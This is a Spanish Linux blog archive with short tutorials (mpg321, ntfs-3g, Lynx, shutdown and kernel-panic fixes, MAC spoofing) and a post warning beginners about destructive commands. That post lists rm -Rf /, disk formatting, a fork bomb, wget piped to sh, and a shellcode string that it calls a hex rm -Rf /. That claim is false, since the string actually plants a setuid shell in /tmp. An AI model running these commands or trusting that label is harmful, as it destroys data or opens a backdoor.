sábado, 20 de diciembre de 2008

Reproducir mp3 con mpg321

mpg321 es un reproductor de ficheros con formato MP3. Se trata de un programa de línea de comandos no interactivo, esto es, uno ejecuta el programa con una serie de argumentos, y una vez el programa comienza a ejecutarse, no existe interacción entre el usuario y el programa, sino que se limita a realizar las operaciones que le hemos proporcionado en la línea de comandos.
La forma más asequible para reproducir MP3 con mpg321 es el siguiente comando, suponiendo que nos encontremos en un directorio que contenga ficheros MP3.

$ mpg321 *.mp3

Para aquellos que no les basta esto, hay una amplia gama de parámetros que pueden pasarse a mpg321:

$ mpg321 -o tipo_de_dispositivo fichero_mp3

donde tipo de dispositivo puede ser oss, alsa, esd, sun, o arts.
Esto, que en principio no tiene interés alguno para la mayor parte de la gente (pues mpg321 funcionará (en la mayor parte de los casos) sin especificar este parámetro, puede resultar interesante en caso de que, por ejemplo, queramos reproducir dos o más MP3 simultáneamente.
Si tenemos artsd instalado, podemos hacer esto arrancando mpg321 de la forma:

$ mpg321 -o arts fichero.mp3

tras lo cual podemos repetir la operación tantas veces como queramos en la misma o en diferentes consolas.

Este parámetro (-o) funciona conjuntamente con el siguiente:

$ mpg321 -a nombre_de_dispositivo fichero_mp3

donde nombrededispositivo es algo así como /dev/dsp, /dev/sound/dsp1, o aquel que utilice el dispositivo de sonido que queramos utilizar para oir nuestros MP3 Smiling

Utilización de listas de reproducción:

Podemos cargar una playlist de un fichero TXT con las rutas a los ficheros MP3 que queramos que la compongan. Esto se hace de la forma:

$ mpg321 -@ fichero.txt

Reproducción aleatoria de ficheros:

Para esto tenemos dos parámetros: -z y -Z; -Z reproduce todos los ficheros especificados de forma aleatoria hasta que paremos mpg321, -z reproduce todos los ficheros especificados de forma aleatoria una sola vez.

Aca una captura funcionando:






















sábado, 13 de diciembre de 2008

Mega Pack de Wallpapers de Debian

Aca les dejo un mega pack de wallpapers de Debian, que he recopilado con el tiempo, son mas de 120
























Espero que les guste

domingo, 7 de diciembre de 2008

Comandos Mortales que no debes ejecutar

Si eres nuevo en el mundo de Gnu/Linux aqui te muestro unos de los comandos mas mortales que pueden destrosar tu sistema en tan solo unos instante asi que cuando veas uno de estos comando mejor correo :-D lejos de la persona que te lo dijo mejor es investigar que hace tal comando y no pornerlo de golpe asi que ese es un consejo que les doy a los lectores nuevos

aqui la lista de los comandos:

# rm -Rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

char esp[] __attribute__ ((section(”.text”))) /* e.s.p

release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.

# mkfs.ext3 /dev/sda

Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.

: ( ) { : | : & } ; :

La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

cualquier_comando > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

wget http://fuente_de_origen_inseguro -O- | sh

Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.


mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.


Esto es para dar a conocer comandos mortales en Linux, con esto de mas se salvaran muchos pc con linux instalado ;D

ps: ni intentar provar esos comandos que salen aca, o sino seria lo perdicion de su querido Debian, Ubuntu y demas distros de Linux

Fuente

Montar particiones NTFS con Ntfs-3g

Holas, aca les dejo un tuto de como montar particiones ntfs con ntfs-3g

lo instalan desde las repos de debian:

ps: los #, en ubuntu poner sudo + el comando

#apt-get install ntfs-3g

ahora que lo tenemos instalado

tenemos que crear el directorio windows u otro en /media
en consola de root:

#mkdir /media/windows

para actualizar el fstab

#kwrite /etc/fstab

en gnome usar gedit

añadir esto en el fstab:

/dev/hda5 /media/windows ntfs-3g defaults 0 0

en mi caso la particion de copia de seguridad de windows esta en hda5, pueden cambiarlo a gusto segun la ruta

o mejor aun, lo ven con:

#fdisk -l

en mi caso saldra esto:

dexter4:/home/dexter4# fdisk -l

Disco /dev/hda: 41.1 GB, 41110142976 bytes
255 heads, 63 sectors/track, 4998 cylinders
Units = cilindros of 16065 * 512 = 8225280 bytes
Disk identifier: 0xaff0aff0

Disposit. Inicio Comienzo Fin Bloques Id Sistema
/dev/hda1 * 1 677 5437971 7 HPFS/NTFS
/dev/hda2 678 1275 4803435 83 Linux
/dev/hda3 1276 3741 19808145 f W95 Ext'd (LBA)
/dev/hda4 3742 4998 10096852+ 83 Linux
/dev/hda5 1276 3076 14466501 7 HPFS/NTFS
/dev/hda6 3077 3134 465853+ 82 Linux swap / Solaris
/dev/hda7 3135 3741 4875696 83 Linux

cierran el editor de textos gedit, en gnome o kwrite u otro en kde, y guardan el fichero

les recomiendo hacer 1 enlace al escritorio, para poder acceder a esa particion desde ese directorio

o simplemente la leen desde /media/windows

ps: al fin puedo leer particiones ntfs en debian gracias a ntfs-3g CAFE

errores mas comunes:

Imposible montar el volumen seleccionado.

hibernated non-system partition, refused to mount.

failed to mount '/dev/hda5': operación no permitida

"The NTFS partition is hibernated. Please resume and shutdown Windows
properly, so mounting could be done safely."

solucion: reinicien y cargen a windows y lo apagan correctamente, ahora no dara error

WARNING: Deficient Linux kernel detected. Some driver features are
not available (swap file on NTFS, boot from NTFS by LILO), and
unmount is not safe unless it's made sure the ntfs-3g process
naturally terminates after calling 'umount'. If you wish this
message to disappear then you should upgrade to at least kernel
version 2.6.20, or request help from your distribution to fix
the kernel problem. The below web page has more information:
http://ntfs-3g.org/support.html#fuse26

solo una advertencia si sus kerneles de debian o ubuntu, son anteriores al 2.6.20, de todos modos funcionara, ntfs-3g, pero algunas funciones no estaran disponibles, si quieren de una buena vez quitar esa advertencia, actualizen el kernel a la version 2.6.20 o superior

Saludos!!!

jueves, 4 de diciembre de 2008

Navegador Lynx desde la terminal

Lynx es un navegador en modo texto, que no carga las imágenes ni otros elementos como el JavaScript, Flash, etc… lo que lo hace un navegador rápido y seguro Estaras navegando en internet. Claro, no tendras graficos ni podras ver videos de youtube pero puede serte util en ciertos casos especiales ;) Ya cuando estes dentro de lynx, presiona la tecla[code] g y escribe la URL[/code] que quieras visitar y dale a enter (o hacia la derecha en el teclado).

para poner Lynx en el terminal solo debes escribir:
$lynx

pero si no esta instalado, instalarlo desde las repos de ubuntu o debian:

Ubuntu:
$sudo apt-get install lynx

Debian:
#apt-get install lynx

ya instalado a provar y a disfrutar, aunque se vean las paginas muy rusticas desde lynx



















espero que les guste

martes, 2 de diciembre de 2008

Problemas para apagar tu ordenador, solucion

Hace un momento, en el canal IRC Bloggers el Norber me comentó sobre un problema que le ocurría a un compañero suyo al intentar apagar su ordenador corriendo con Ubuntu, simplemente el ordenador se negaba a apagarse teniendo que recurrir a apagarlo “a la mala”, lo cual no es muy bueno que digamos, estuvimos un rato intentando apagarlo por consola (si no lo sabes, aquí te dejo los comandos)

$ sudo halt
$ sudo shutdown -h now

Pero seguía sin funcionar, así que, hubo que consultar con Maese Google. Encontramos que había más de una persona con ese problema, y bueno, como suele ocurrir, para el problema, la solución.
En este caso en particular la búsqueda nos llevó al foro de Ubuntu, a ESTE tema. Si tú tienes el mismo problema, aquí te copio la solución, en español y en fácil:

Lo primero es editar el archivo /etc/modules y agregar una línea:

$ sudo gedit /etc/modules

Abrirá el archivo y tendremos que agregar lo siguiente:

apm power_off=1

Ahora agregaremos un par de cosillas al menú del Grub

$ sudo gedit /boot/grub/menu.lst

Buscamos la opción que utilizamos normalmente (Ubuntu, kernel 2.6.17-11-generic en mi caso), y al final de la línea que se inicia por la palabra kernel agregamos lo siguiente:

acpi=off apm=power_off

Para que no te pierdas te copio como quedaría en el mío

title Ubuntu, kernel 2.6.17-11-generic
root (hd0,2)
kernel /boot/vmlinuz-2.6.17-11-generic root=/dev/hda3 ro quiet splash acpi=off apm=power_off
initrd /boot/initrd.img-2.6.17-11-generic
quiet
savedefault
boot

Obviamente guardamos los cambios y listo.
Si intentas apagar tu ordenador ahora no funcionará, lo que hemos hecho es agregar los parámetros al inicio del sistema, por lo que, mientras no inicies nuevamente los cambios no surtirán efecto, así que, reinicia, y ya puedes apagarlo formalmente suerte!

Fuente

Como solventar un kernel panic

Navegando por la blogosfera es fácil encontrar usuarios que han sufrido un kernel panic, esto es un fallo crítico del kernel (núcleo del pc). Una posible definición sería:


"A kernel panic is a type of error that occurs when the core (kernel) of an operating system receives an instruction in an unexpected format, or that it fails to handle properly. A kernel panic may also follow when the operating system is not able to recover from a different type of error. A kernel panic can be caused by damaged or incompatible software or, more rarely, damaged or incompatible hardware."

O lo que traducido podría ser algo como:
"Un kernel panic es un tipo de error producido cuando el núcleo (kernel) del sistema operativo recibe una instrucción en un formato inesperado, o que no es capaz de procesar. Un kernel panic puede ser consecuencia de que el sistema operativo no pueda recuperarse de otro error diferente. Puede ser causado por daño o incompatibilidad con algún programa o, más raramente, daño o incompatibilidad de hardware."

Kernel panic que fué introducido por primera vez en un sistema UNIX en una "versión temprana" y dá nombre a una página web de contenidos OpenBSD, Linux y software libre en general. Puede ser debido como bien dice la "definición anterior" a peticiones que el núcleo no es capaz de procesar, intentos de acceder a segmentos de la memoria no válidos, errores de compatibilidad software o hardware o daño en algún dispositivo físico del equipo.

Como puede ser debido a muchas causas, por muchos problemas distintos, por muchos paquetes distintos; se hace imposible intentar hacer una guía de como solucionarlos. Pero si que tenemos a nuestra disposición herramientas con las que mitigar el efecto que esto pueda suponer en nuestra máquina. Para ellos podemos forzar el reinicio automático cuando un kernel panic se produce o utilizar las teclas Magyc SysRq, con las que podemos mandar una serie de instrucciones predefinidas al kernel.
1- Forzar reinicio tras un kernel panic

Esiste un archivo de confiruración del sistema, sysctl.conf, situado en etc/; en el que aparecen multitud de parametros con los que podemos configurar nuestro equipo. Para el caso que nos ocupa, debemos editar dicho archivo para especificar el tiempo que tardará el sistema en forzar el reinicio. Una de las maneras de conseguirlo temporalmente puede ser escribiendo en la consola:

Hostname:/# echo "n" > /proc/sys/kernel/panic

Para comprobar que ha sido guardado el cambio, y que no está establecido su valor inicial (0, que lo desactiva), utilizamos:


Hostname:/# cat /proc/sys/kernel/panic

n



Donde "n" corresponde a el número de segundos que han de pasar antes de que el sistema se reinicie.

Para hacer este cambio permanente debemos configurar el archivo antes citado, /etc/sysctl.conf, en el que añadiremos la siguiente línea: kernel.panic=n. Para indicar que, de nuevo, han de pasar n segundos antes de que se reinicie el sistema. Como siempre, lo podemos hacer de varias maneras:

1- Modificarlo en una sola línea de código:

1.1-Hostname:/# echo "kernel.panic=5" >> /etc/sysctl.conf
1.2-Hostname:/# /sbin/sysctl -w kernel.panic=n

2- Editarlo manualmente:

Hostname:/# vi | nano /etc/sysctl.conf
Añadir:kernel.panic=n
2- Magic SysRq

En todo teclado de ordenadores hay una tecla que mucha gente no utiliza, muchos ni siquiera la conocen. La tecla en cuestión es "Impr Pant", que se utiliza para hacer un "Copy" a la pantalla del ordenador, para después poder utilizar dicha foto con lo que estemos trabajando. Pués bien, si esa tecla es desconocida para muchos usuarios de informática, la función que la acompaña todavía lo es más. Me refiero a "Pet Sis", "Sys Req", etc... esas palabritas que hay en la parte inferior de esa misma tecla. ¿Para qué se utilizan, cuál será su significado...?

Pues bien, gracias a ésta estupenda entrada de blog nos podemos hacer una idea para que se utiliza y como sacarle jugo para nuestro equipo.... Situándonos un poco en el caso al que lo aplicamos, podemos decir que es la manera idónea de reiniciar una máquina que ha sufrido un kernel panic, tanto si tenemos acceso físico al dispositivo como si es en remoto.

Gracias a este conjunto de teclas somos capaces de mandar ordenes al kernel sin importar si el sistema está "colgado", aunque no funcione el teclado (esto no lo he comprobado... cuando me toque lo probaré Giñar ) siempre y cuando tengamos acceso a una consola y/o tty (terminal serial virtual).

El funcionamiento es muy sencillo, se trata de pulsar una serie de teclas que están asociadas a instrucciones del kernel. La secuencida requerida para reiniciar correctamente un equipo sería: SUB. Esto, traducido a los comandos que vamos a utilizar, sería algo tal que:

Ctrl + Alt + PrintScreen + REISUB

R - Recupera el teclado
S - Sincroniza los discos duros
E - Finaliza las aplicaciones
I - Mata las aplicaciones que no finalizaron
U - Desmonta todas las unidades y las vuelve a montar como sólo lectura
B - Reinicia el sistema

En esta página se explica, con un ejemplo, como reiniciar un servidor cuando no tenemos acceso físico al equipo, pero tenemos configurado una conexión serial con otra máquina a la que nos podemos contectar remotamente. Al igual que otros consejos con los que poder intentar subsanar el error crítico que ha llevado al kernel a ponerse farruco... XD

Cambiar Direccion Mac en Linux

Antes que nada pediros por favor, que nadie me pregunte para qué puede ser necesario cambiar la dirección MAC de nuestro equipo (la imaginación es una gran aliada ;))

Como todos sabemos dicha dirección consta de 6 valores en hexadecimal que identifican de forma “inequívoca” cada equipo conectado a la red (sería el equivalente a un número de teléfono o a la matrícula de un coche)

Pongo “inequívoca” entre comillas porque dicho valor puede ser cambiado pudiendo suplantar la identidad de otro equipo… veamos cómo

Paso previo

Antes de nada os recomiendo anotar vuestra dirección MAC actual lanzando desde la terminal un

Ifconfig

y anotar el valor que aparece en el campo direccionHW








Cambiar la MAC

Una vez que tenemos el dato a buen recaudo podemos cambiarla lanzando un

sudo ifconfig eth0 down hw ether 00:01:02:03:04:05

teniendo en cuenta

1. eth0 es la tarjeta de red cuya MAC deseamos cambiar (en mi caso la eth0 = tarjeta de red por cable)
2. 00:01:02:03:04:05 es la nueva dirección MAC (el primer valor SIEMPRE debe ser 00, los demás pon los que más te gusten siempre que no exceda de FF en hexadecimal)

Solución de problemas

Si tuvieses algún problema

* revisa que la dirección MAC sea correcta
* comprueba que la tarjeta de red que estás usando exista

Si aun así no funciona lanza la siguiente secuencia de comandos

* sudo /etc/init.d/networking stop
* sudo ifconfig eth0 down hw ether 00:01:02:03:04:05
* sudo /etc/init.d/networking start

Otra opcion:

*$sudo gedit /etc/init.d/bootmisc.sh

Agregar al final de este fichero en bash:

ifconfig eth0 down
ifconfig eth0 hw ether 00:01:02:03:04:05
ifconfig eth0 up

guardar el fichero modificado y reiniciar el pc, para surtir
efecto, ahora tendran de forma permanente la direccion MAC cambiada

Espero que les sirva, hay varias razones de porque cambiar la direccion
MAC, eso se los dejo a su imaginacion xD